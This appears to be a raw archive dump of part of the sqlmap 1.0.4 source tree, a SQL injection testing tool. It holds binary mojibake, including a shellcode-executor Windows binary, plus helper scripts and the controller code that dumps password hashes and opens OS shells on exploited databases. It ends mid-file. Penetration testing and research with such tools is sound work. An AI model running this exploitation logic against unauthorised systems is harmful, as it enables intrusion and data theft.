xYý›Ò¦Ü”hË—Þ½d1"ØÝѹ™3Y£­ëþ±jÿn&Ûý‘dE‚õ¬¦_¶Ž×x¡‰¨NL×þjóBxöbqÕÎŒe bü³(åµt ]IQÜKÍÚ ÌžC)BøúHî1|[X5æþÐÜþ/B¾ ` Û¬G$Kíò¾·e¯ ,íºVfý›Ò¸cLþQÙ9fó½…µQ< IqbªP´ž>ûè÷úŽÍÌóÏ"1ìöá]&¼~~œHhÖÈñç¼X€aMdt=A@ÇÑEÆT#à0Nãຜè™ù:÷/f©ÀÇN¸Øˆf.eÇ}OD(±RHúŒ›.ãtî†X¼ßGuíÊ,Ÿê"¡pOPNã-Ìø8¿­Ï#ÿ‘¬Í¸äÎ…òFS,t ÄÆ,Îgœùã_gd@fo¦^C£ÎHSŒOÄvÑïýJAy× ÷ãâ ðÂEf÷à…ê@yíµÔG±àmÂeài‡ª…‡(ûU\é#Q&3¥Ó£é¤(](e6kªù F›ì6hð=Ê¿äƒå)¸IavÒý`„<·e uô‡ 0‚¾}úZÐëÝ»7¸9D#›Ö¶X"ö¾p^¤Ÿ ÃÞöŽhÝxÛDûÚýµ–hCÈÛz8@´³z¯÷·$¥rñÃ'pÖ«cF¬`€dwcü©û…*™ö7­í´¢åÅæB‡oYÉ5It×5®«ù}í¯$j¤çD×Ĉ۶¿¸i.‘Í3›âk" 2 ŠôeÒ¤HWñö-äœÔ6 þ¹ÆÞÃñµ;šð_Ù# ¹@Ÿ<­ñÉß[›ó´7ö*eßÿ5@§Š9ó´‡ô¤Ÿ]"_ýcéÓ¤>úßäÀ¾pûƒýéá¢àß®B¤ëv¡Röéÿó­M}»lBNS´>0—4=Tkõ´Ö·HÚ£XŽtí¡ª[U\=4W+1ä­—íT@7—T١Ɉõ E—?8ETå `¶=šža…ÿsg­˜5èv¡¥8â™ ]ŸŽ¤ÊË–Ð’±#qõ ² žÈ“Ð.·þì¶í †Tà–Sæóé‚þ ­Ti¼pPÕcH­p@/üÕýðÝ¢µüAÛÅ¿:±Ht» O@=üw~»wçúâ>Áxê—MŒø5üUŸå$ÂÎ~ó§ˆ@:À]Ἷ+ëÈ<®*ÌçúH6zŒëb‹š¿8„"˜ÏõåUñ¹Îü:4×Q¶¹V>þjâù®° É®—>âóGÕüNž/ø#\įDøÁ9S¿|ÛŽ‘¦qÙ:"@f…ß6ü1â0®ÀççÞ÷jA ˜Yþ¨óìà±C«ðùf¤¶ßYþ`‰æûP3üOñÞ†5áP¿—Ûö)Å åÿ3á0nŠøPVþêúùFñù½üý¶Õ©ü—j¾[¾¼<þPjþ_ñx·ö(íÏbó—¿£ØI@áùAÇõšÒ@¿òy¥þ&ÿ)áóÇ4ü¥÷Üjø³uˆø<šã+ùSlÆümñ4È(Üúdvóÿ¬àª,îcm¥réx·áÿt€ÎÎ]sqlmap-1.0.4/extra/shellcodeexec/windows/000077500000000000000000000000001270044205500204345ustar00rootroot00000000000000sqlmap-1.0.4/extra/shellcodeexec/windows/shellcodeexec.x32.exe_000066400000000000000000000053061270044205500245240ustar00rootroot00000000000000œíg$ÕõEŠó&‹ºÂê‰Ô­Y¸V6EÉT­7%ç³v´ cûFÏ®ýì½7:åªëgOÀÔÈ ^Ã};ºK­)¤<.HERšMôªÈl¨µŒ· ®Ÿ›R›{3=â9çžÏF÷Ü Î½çÜCÜ’km=Œš97’äš“ü÷–~¨Øô z±øÍ6<ûd›¸€u‘Ál¶BC`‘¬<¬*€·¶í붆\A¶¶¼¼¤%×°ú‰Ÿ²ÙCìŒÅ²dV]$:ñ¸Ž`Ï–|IH`Î…Ê!ËÚVB®ó-Üjð ¨çI»g=Úr9 êëó½ÚcVK”e3„”c_íËЙ~¬K#‹l^T˜¸ “"ïme8U!¯\Ú!Ü37“®òÃÿoä›´fë‡ÎwæPŒ­ÄŽ5€»3º>Z«¸®°)ð[p^iåwr?Åxå 1Œœ:§ëwr©üˆ#ª)ozPÑ ê ·+ßǘþ:ûs$¯²gÈ+ðV¨–¬1¢OʧŠ÷@ Ög[FòÁô:Ú/ñI…NÅ™ŒÒ‘‰2fâb‹5æá‚lÌ=ŒÉgŽA´?䀵µNÞN¯ôÎdz>X‡—1²±”Á…E LÎSTbÙ1¥×Ô¥OËQÍòcoË‚Ú;Ç>¢ôQV³“{vQN~h„w_5ùÎ]°XøA÷äXá˜õ1â›;§#±:,ßþ6-ç[õ3Öþº‚ÉømÈŠ³êK³Œ\ð>›ñûš¦R˜“@Óuå]z èÈøâåWFàAôìÆ7eË.¥#ðúÊÏá] hS1¢¶yr¤ƒ®~œ/û^ïìÅpQûY«ÐȨNþô‹ ocÒS °¾NRCX›ì(ÅåùzL§‚yͲb'tyâät_r}ZÁ2VU ¤¤ñ”8Ü\îSÈ ¯=§Îñ||ãV½îma~ åPgU‡{Iæµä’¸èz#ôS"K"„SÌçbxç,H˜×Üb·§€Sào©jWuê4ºƒzÝšz“gk¥ün¼~yÍ€†ög[Jð2ƒ$ˆÖ¡M`yü›®üå#+35¼ÎÕ©<ßyðÌkŽ5ÛßÒå~ùǨR肼9³CvLÝÃ6k*·ƒÿ±¬Bb÷49¡ ²vYÇ’7Â=!'ûÒ‰U["T…ë^{sîÊÆ’Ç%NòDû…bX²O#'h45””;’uõ0V,><Â8ÏÝzÛ†µ|ag7[ñ‚¼8Î «üFgÇ2š¥Îž¡³ÉœÄógÇ€ExaÇšT>\‘˸`®Çõ8/£úKå˜P¹gHEŠU­þmG(}^…3F¶¸z‰£õ ¾üwö–.ì—°;±q>ïÄò[:å/ D8.‘¢š>ŠîCè©`k¬Çƒ^‰ãkdlX0O¦ÄG`Ÿ$Ö´é¢f°Ì“È3c‡Ù ÑWôÅ9’šQE=¹:˜"ññ4°Ò7‡—¨&|mçoK¨]žE–|T!Çó)Œ>J*óehlÈì^z@¹.ŒAps„ô3·Q*{‡±/K<"ÞÆÕ¥AŠ{¤*œÕ,ꦥ™Øœ^ ¯­'v_Fìhš¡¦ Y®®ÞpÖ ­æ{a>Íê î…Ðc´ú·*›ã¡ó{ÀÖ¹•Çfat\KFt0’®Rί¿`éÕÏ=î"èÄlL¯y® bÜ2+¨!¦Ï*ºÃÿp¡LoûÕAõ÷”#yÞ•÷, ¦„Ê<GzúÆš©>NI4ƒÔ½ÿôÞ·¯K1¿‚ÿ¦4åã©Y6²OØHÁáŠH¹—í )³”á\™ÑSb(-s!€#jR¤ïÙ™ŒBÓ¸[ßòÚAм/Eþ®‹ Î#š‰Dï¥Ù¸|HGäL§‡9òíxömí8¡ÿ¢žÚVd^¿zGxO+|ß92I€u€s¨½v}aàûß|ˆ}ŒÖèE¾yßa¯~Ìürà[?i äÌ*I€í~y~ŽßpÐpÐqà{¸tàd)L®xx›·­ØÜsÙ•ïVHÆÇ{`™ÝŸ[g°ÞºF÷kåd³þÆ¢'hoÏègç¿$Îèöäùh(ñn@ù_ÿÒUò)¨-·Þœ}¿TM›(ì˜Å¸'^®«â jÆÖdÛýDïÆýž€´T] xøáo»WÈZ ÅØho[Ùlv…]ðùdÒU°a‰íáùw¹éÚË´Ûïªõ…=„øŠ;6à½ÑNM8|ðfÜÑÝ×ÚÕ/8Ù*y·XSq» œ,Äía¥°XÀ„‘L¸½FÎrF‘âî÷9¥"ÄuðP‹Ûbà|mË’}E{ ˜”®ŒÝSùi‰ðþÀ°;r{›B^–#µ]TÉ]w[Žj{=ÖJ¾ S5¿PO}÷x¢'bÆ 1_Þ¹¹@Htƒ2¼h†î[À£Bç ºBѨ$e‹‚Ì!Ø$ÜA 7aazHh‰cYä`…™xDq“`Ãuˆ<„§ÞbV,ª­Ð­,¼y'ûB9Om!IU¹Fpït±ÂöœC&‡!;q³îxB’w{òê¹[;=þ¨$[±pêÀB'`LêzrÃSùµ±DIJ. J·JmŽ{öºo6f_-Omëm]!){Vý¬ÔUt}Ë4â`½ÎMÜ~ìs;ý¸È³Æ)ºF»ئxÊZ°]WZ@Rì”&ÌÅuþwœlï$\MÃu÷OZoòúU$ HpÜÅ©%wäN#ÛBY5¸Xo$;°€ÅÑÍÓÔð¿Š GݦérësÖ¿þ0ÐþÏQÑA…–ûVÐ?ð8x€£`¦ã¨»~bA²è›Ûï[¤t„æõßk›C¢È†‡=Öшh›²Àß\FIìnïsx¼=;Œø¥D¡Üãnõ\õITä)ÀÏŠ-`Tˆ’ͶúÚEÛÎòm«µÉÇ9&Þx¥ŒÎ(.¤i`~¬üÎbƬ'x›pyû"ITïvä\> T¼|­"BIë7߆ں%8ÝÝ €øI¦;n¼cÔ¯[t ´áàÉ<¡€÷A ¬x5aeì÷IsÙ‡ êÙúyÖAÛÙ´íÃÖäbØ p)èÔוõD"R®–¶¶Bïíï×xŸÆü@TGË×sqlmap-1.0.4/extra/shutils/000077500000000000000000000000001270044205500156265ustar00rootroot00000000000000sqlmap-1.0.4/extra/shutils/blanks.sh000077500000000000000000000004021270044205500174330ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission # Removes trailing spaces from blank lines inside project files find . -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; sqlmap-1.0.4/extra/shutils/duplicates.py000066400000000000000000000012511270044205500203340ustar00rootroot00000000000000#!/usr/bin/env python # Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission # Removes duplicate entries in wordlist like files import sys if len(sys.argv) > 0: items = list() with open(sys.argv[1], 'r') as f: for item in f.readlines(): item = item.strip() try: str.encode(item) if item in items: if item: print item else: items.append(item) except: pass with open(sys.argv[1], 'w+') as f: f.writelines("\n".join(items)) sqlmap-1.0.4/extra/shutils/pep8.sh000077500000000000000000000004341270044205500170420ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission # Runs pep8 on all python files (prerequisite: apt-get install pep8) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \; sqlmap-1.0.4/extra/shutils/postcommit-hook000066400000000000000000000011621270044205500207050ustar00rootroot00000000000000#!/bin/bash SETTINGS="../../lib/core/settings.py" declare -x SCRIPTPATH="${0}" FULLPATH=${SCRIPTPATH%/*}/$SETTINGS if [ -f $FULLPATH ] then LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"'); declare -a LINE; NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE") if [ -n "$NEW_TAG" ] then git commit -am "Automatic monthly tagging" echo "Creating new tag ${NEW_TAG}"; git tag $NEW_TAG; git push origin $NEW_TAG fi fi; sqlmap-1.0.4/extra/shutils/precommit-hook000066400000000000000000000015231270044205500205070ustar00rootroot00000000000000#!/bin/bash SETTINGS="../../lib/core/settings.py" declare -x SCRIPTPATH="${0}" FULLPATH=${SCRIPTPATH%/*}/$SETTINGS if [ -f $FULLPATH ] then LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"'); declare -a LINE; INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") if [ -n "$INCREMENTED" ] then sed "s/${LINE}/${INCREMENTED}/" $FULLPATH > $FULLPATH.tmp && mv $FULLPATH.tmp $FULLPATH echo "Updated ${INCREMENTED} in ${FULLPATH}"; else echo "Something went wrong in VERSION increment" exit 1 fi fi; sqlmap-1.0.4/extra/shutils/pyflakes.sh000077500000000000000000000004501270044205500200020ustar00rootroot00000000000000#!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; sqlmap-1.0.4/extra/shutils/pylint.py000066400000000000000000000026161270044205500175240ustar00rootroot00000000000000#! /usr/bin/env python # Runs pylint on all python scripts found in a directory tree # Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html import os import re import sys total = 0.0 count = 0 __RATING__ = False def check(module): global total, count if module[-3:] == ".py": print "CHECKING ", module pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r') for line in pout: if re.match("E....:.", line): print line if __RATING__ and "Your code has been rated at" in line: print line score = re.findall("\d.\d\d", line)[0] total += float(score) count += 1 if __name__ == "__main__": try: print sys.argv BASE_DIRECTORY = sys.argv[1] except IndexError: print "no directory specified, defaulting to current working directory" BASE_DIRECTORY = os.getcwd() print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY for root, dirs, files in os.walk(BASE_DIRECTORY): if any(_ in root for _ in ("extra", "thirdparty")): continue for name in files: filepath = os.path.join(root, name) check(filepath) if __RATING__: print "==" * 50 print "%d modules found" % count print "AVERAGE SCORE = %.02f" % (total / count) sqlmap-1.0.4/extra/shutils/regressiontest.py000066400000000000000000000126471270044205500212720ustar00rootroot00000000000000#!/usr/bin/env python # Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission import codecs import inspect import os import re import smtplib import subprocess import sys import time import traceback from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText sys.path.append(os.path.normpath("%s/../../" % os.path.dirname(inspect.getfile(inspect.currentframe())))) from lib.core.revision import getRevisionNumber START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) SQLMAP_HOME = "/opt/sqlmap" REVISION = getRevisionNumber() SMTP_SERVER = "127.0.0.1" SMTP_PORT = 25 SMTP_TIMEOUT = 30 FROM = "regressiontest@sqlmap.org" #TO = "dev@sqlmap.org" TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"] SUBJECT = "regression test started on %s using revision %s" % (START_TIME, REVISION) TARGET = "debian" def prepare_email(content): global FROM global TO global SUBJECT msg = MIMEMultipart() msg["Subject"] = SUBJECT msg["From"] = FROM msg["To"] = TO if isinstance(TO, basestring) else ",".join(TO) msg.attach(MIMEText(content)) return msg def send_email(msg): global SMTP_SERVER global SMTP_PORT global SMTP_TIMEOUT try: s = smtplib.SMTP(host=SMTP_SERVER, port=SMTP_PORT, timeout=SMTP_TIMEOUT) s.sendmail(FROM, TO, msg.as_string()) s.quit() # Catch all for SMTP exceptions except smtplib.SMTPException, e: print "Failure to send email: %s" % str(e) def failure_email(msg): msg = prepare_email(msg) send_email(msg) sys.exit(1) def main(): global SUBJECT content = "" test_counts = [] attachments = {} updateproc = subprocess.Popen("cd /opt/sqlmap/ ; python /opt/sqlmap/sqlmap.py --update", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = updateproc.communicate() if stderr: failure_email("Update of sqlmap failed with error:\n\n%s" % stderr) regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) stdout, stderr = regressionproc.communicate() if stderr: failure_email("Execution of regression test failed with error:\n\n%s" % stderr) failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M) for failed_test in failed_tests: title = failed_test[0] test_count = int(failed_test[1]) parse = failed_test[3] if failed_test[3] else None output_folder = failed_test[4] traceback = False if failed_test[5] == "False" else bool(failed_test[5]) detected = False if failed_test[6] else True test_counts.append(test_count) console_output_file = os.path.join(output_folder, "console_output") log_file = os.path.join(output_folder, TARGET, "log") traceback_file = os.path.join(output_folder, "traceback") if os.path.exists(console_output_file): console_output_fd = codecs.open(console_output_file, "rb", "utf8") console_output = console_output_fd.read() console_output_fd.close() attachments[test_count] = str(console_output) if os.path.exists(log_file): log_fd = codecs.open(log_file, "rb", "utf8") log = log_fd.read() log_fd.close() if os.path.exists(traceback_file): traceback_fd = codecs.open(traceback_file, "rb", "utf8") traceback = traceback_fd.read() traceback_fd.close() content += "Failed test case '%s' (#%d)" % (title, test_count) if parse: content += " at parsing: %s:\n\n" % parse content += "### Log file:\n\n" content += "%s\n\n" % log elif not detected: content += " - SQL injection not detected\n\n" else: content += "\n\n" if traceback: content += "### Traceback:\n\n" content += "%s\n\n" % str(traceback) content += "#######################################################################\n\n" end_string = "Regression test finished at %s" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) if content: content += end_string SUBJECT = "Failed %s (%s)" % (SUBJECT, ", ".join("#%d" % count for count in test_counts)) msg = prepare_email(content) for test_count, attachment in attachments.items(): attachment = MIMEText(attachment) attachment.add_header("Content-Disposition", "attachment", filename="test_case_%d_console_output.txt" % test_count) msg.attach(attachment) send_email(msg) else: SUBJECT = "Successful %s" % SUBJECT msg = prepare_email("All test cases were successful\n\n%s" % end_string) send_email(msg) if __name__ == "__main__": log_fd = open("/tmp/sqlmapregressiontest.log", "wb") log_fd.write("Regression test started at %s\n" % START_TIME) try: main() except Exception, e: log_fd.write("An exception has occurred:\n%s" % str(traceback.format_exc())) log_fd.write("Regression test finished at %s\n\n" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())) log_fd.close() sqlmap-1.0.4/extra/sqlharvest/000077500000000000000000000000001270044205500163275ustar00rootroot00000000000000sqlmap-1.0.4/extra/sqlharvest/__init__.py000066400000000000000000000002261270044205500204400ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/extra/sqlharvest/sqlharvest.py000066400000000000000000000103541270044205500211000ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import cookielib import re import socket import sys import urllib import urllib2 import ConfigParser from operator import itemgetter TIMEOUT = 10 CONFIG_FILE = 'sqlharvest.cfg' TABLES_FILE = 'tables.txt' USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)' SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic' MAX_FILE_SIZE = 2 * 1024 * 1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it QUERY = 'CREATE TABLE ext:sql' REGEX_URLS = r';u=([^"]+?)&q=' REGEX_RESULT = r'(?i)CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P[^\(;]+)' def main(): tables = dict() cookies = cookielib.CookieJar() cookie_processor = urllib2.HTTPCookieProcessor(cookies) opener = urllib2.build_opener(cookie_processor) opener.addheaders = [("User-Agent", USER_AGENT)] conn = opener.open(SEARCH_URL) page = conn.read() # set initial cookie values config = ConfigParser.ConfigParser() config.read(CONFIG_FILE) if not config.has_section("options"): config.add_section("options") if not config.has_option("options", "index"): config.set("options", "index", "0") i = int(config.get("options", "index")) try: with open(TABLES_FILE, 'r') as f: for line in f.xreadlines(): if len(line) > 0 and ',' in line: temp = line.split(',') tables[temp[0]] = int(temp[1]) except: pass socket.setdefaulttimeout(TIMEOUT) files, old_files = None, None try: while True: abort = False old_files = files files = [] try: conn = opener.open("%s&q=%s&start=%d&sa=N" % (SEARCH_URL, QUERY.replace(' ', '+'), i * 10)) page = conn.read() for match in re.finditer(REGEX_URLS, page): files.append(urllib.unquote(match.group(1))) if len(files) >= 10: break abort = (files == old_files) except KeyboardInterrupt: raise except Exception, msg: print msg if abort: break sys.stdout.write("\n---------------\n") sys.stdout.write("Result page #%d\n" % (i + 1)) sys.stdout.write("---------------\n") for sqlfile in files: print sqlfile try: req = urllib2.Request(sqlfile) response = urllib2.urlopen(req) if "Content-Length" in response.headers: if int(response.headers.get("Content-Length")) > MAX_FILE_SIZE: continue page = response.read() found = False counter = 0 for match in re.finditer(REGEX_RESULT, page): counter += 1 table = match.group("result").strip().strip("`\"'").replace('"."', ".").replace("].[", ".").strip('[]') if table and not any(_ in table for _ in ('>', '<', '--', ' ')): found = True sys.stdout.write('*') if table in tables: tables[table] += 1 else: tables[table] = 1 if found: sys.stdout.write("\n") except KeyboardInterrupt: raise except Exception, msg: print msg else: i += 1 except KeyboardInterrupt: pass finally: with open(TABLES_FILE, 'w+') as f: tables = sorted(tables.items(), key=itemgetter(1), reverse=True) for table, count in tables: f.write("%s,%d\n" % (table, count)) config.set("options", "index", str(i + 1)) with open(CONFIG_FILE, 'w+') as f: config.write(f) if __name__ == "__main__": main() sqlmap-1.0.4/lib/000077500000000000000000000000001270044205500135565ustar00rootroot00000000000000sqlmap-1.0.4/lib/__init__.py000066400000000000000000000002261270044205500156670ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/controller/000077500000000000000000000000001270044205500157415ustar00rootroot00000000000000sqlmap-1.0.4/lib/controller/__init__.py000066400000000000000000000002261270044205500200520ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/controller/action.py000066400000000000000000000130521270044205500175710ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.controller.handler import setHandler from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import CONTENT_TYPE from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS from lib.techniques.brute.use import columnExists from lib.techniques.brute.use import tableExists def action(): """ This function exploit the SQL injection on the affected URL parameter and extract requested data from the back-end database management system or operating system if possible """ # First of all we have to identify the back-end database management # system to be able to go ahead with the injection setHandler() if not Backend.getDbms() or not conf.dbmsHandler: htmlParsed = Format.getErrorParsedDBMSes() errMsg = "sqlmap was not able to fingerprint the " errMsg += "back-end database management system" if htmlParsed: errMsg += ", but from the HTML error page it was " errMsg += "possible to determinate that the " errMsg += "back-end DBMS is %s" % htmlParsed if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS: errMsg += ". Do not specify the back-end DBMS manually, " errMsg += "sqlmap will fingerprint the DBMS for you" elif kb.nullConnection: errMsg += ". You can try to rerun without using optimization " errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection") else: errMsg += ". Support for this DBMS will be implemented at " errMsg += "some point" raise SqlmapUnsupportedDBMSException(errMsg) conf.dumper.singleString(conf.dbmsHandler.getFingerprint()) # Enumeration options if conf.getBanner: conf.dumper.banner(conf.dbmsHandler.getBanner()) if conf.getCurrentUser: conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser()) if conf.getCurrentDb: conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb()) if conf.getHostname: conf.dumper.hostname(conf.dbmsHandler.getHostname()) if conf.isDba: conf.dumper.dba(conf.dbmsHandler.isDba()) if conf.getUsers: conf.dumper.users(conf.dbmsHandler.getUsers()) if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) except SqlmapNoneDataException, ex: logger.critical(ex) except: raise if conf.getPrivileges: try: conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES) except SqlmapNoneDataException, ex: logger.critical(ex) except: raise if conf.getRoles: try: conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES) except SqlmapNoneDataException, ex: logger.critical(ex) except: raise if conf.getDbs: conf.dumper.dbs(conf.dbmsHandler.getDbs()) if conf.getTables: conf.dumper.dbTables(conf.dbmsHandler.getTables()) if conf.commonTables: conf.dumper.dbTables(tableExists(paths.COMMON_TABLES)) if conf.getSchema: conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA) if conf.getColumns: conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS) if conf.getCount: conf.dumper.dbTablesCount(conf.dbmsHandler.getCount()) if conf.commonColumns: conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS)) if conf.dumpTable: conf.dbmsHandler.dumpTable() if conf.dumpAll: conf.dbmsHandler.dumpAll() if conf.search: conf.dbmsHandler.search() if conf.query: conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query)) if conf.sqlShell: conf.dbmsHandler.sqlShell() if conf.sqlFile: conf.dbmsHandler.sqlFile() # User-defined function options if conf.udfInject: conf.dbmsHandler.udfInjectCustom() # File system options if conf.rFile: conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile)) if conf.wFile: conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType) # Operating system options if conf.osCmd: conf.dbmsHandler.osCmd() if conf.osShell: conf.dbmsHandler.osShell() if conf.osPwn: conf.dbmsHandler.osPwn() if conf.osSmb: conf.dbmsHandler.osSmb() if conf.osBof: conf.dbmsHandler.osBof() # Windows registry options if conf.regRead: conf.dumper.registerValue(conf.dbmsHandler.regRead()) if conf.regAdd: conf.dbmsHandler.regAdd() if conf.regDel: conf.dbmsHandler.regDel() # Miscellaneous options if conf.cleanup: conf.dbmsHandler.cleanup() if conf.direct: conf.dbmsConnector.close() sqlmap-1.0.4/lib/controller/checks.py000066400000000000000000001707271270044205500175710ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import copy import httplib import re import socket import time from subprocess import Popen as execute from extra.beep.beep import beep from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import extractTextTagContent from lib.core.common import findDynamicContent from lib.core.common import Format from lib.core.common import getLastRequestHTTPError from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import getSortedInjectionTests from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import intersect from lib.core.common import listToStrValue from lib.core.common import parseFilePaths from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import showStaticWords from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import urlencode from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.defaults import defaults from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.decorators import cachedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CLOUDFLARE_SERVER_HEADER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import IDS_WAF_CHECK_PAYLOAD from lib.core.settings import IDS_WAF_CHECK_RATIO from lib.core.settings import IDS_WAF_CHECK_TIMEOUT from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import UPPER_RATIO_BOUND from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.inject import checkBooleanExpression from lib.request.templates import getPageTemplate from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion def checkSqlInjection(place, parameter, value): # Store here the details about boundaries and payload used to # successfully inject injection = InjectionDict() # Localized thread data needed for some methods threadData = getCurrentThreadData() # Set the flag for SQL injection test mode kb.testMode = True paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place tests = getSortedInjectionTests() seenPayload = set() while tests: test = tests.pop(0) try: if kb.endDetection: break if conf.dbms is None: # If the DBMS has not yet been fingerprinted (via simple heuristic check # or via DBMS-specific payload) and boolean-based blind has been identified # then attempt to identify with a simple DBMS specific boolean-based # test what the DBMS may be if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None: kb.heuristicDbms = heuristicCheckDbms(injection) # If the DBMS has already been fingerprinted (via DBMS-specific # error message, simple heuristic check or via DBMS-specific # payload), ask the user to limit the tests to the fingerprinted # DBMS if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \ SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or 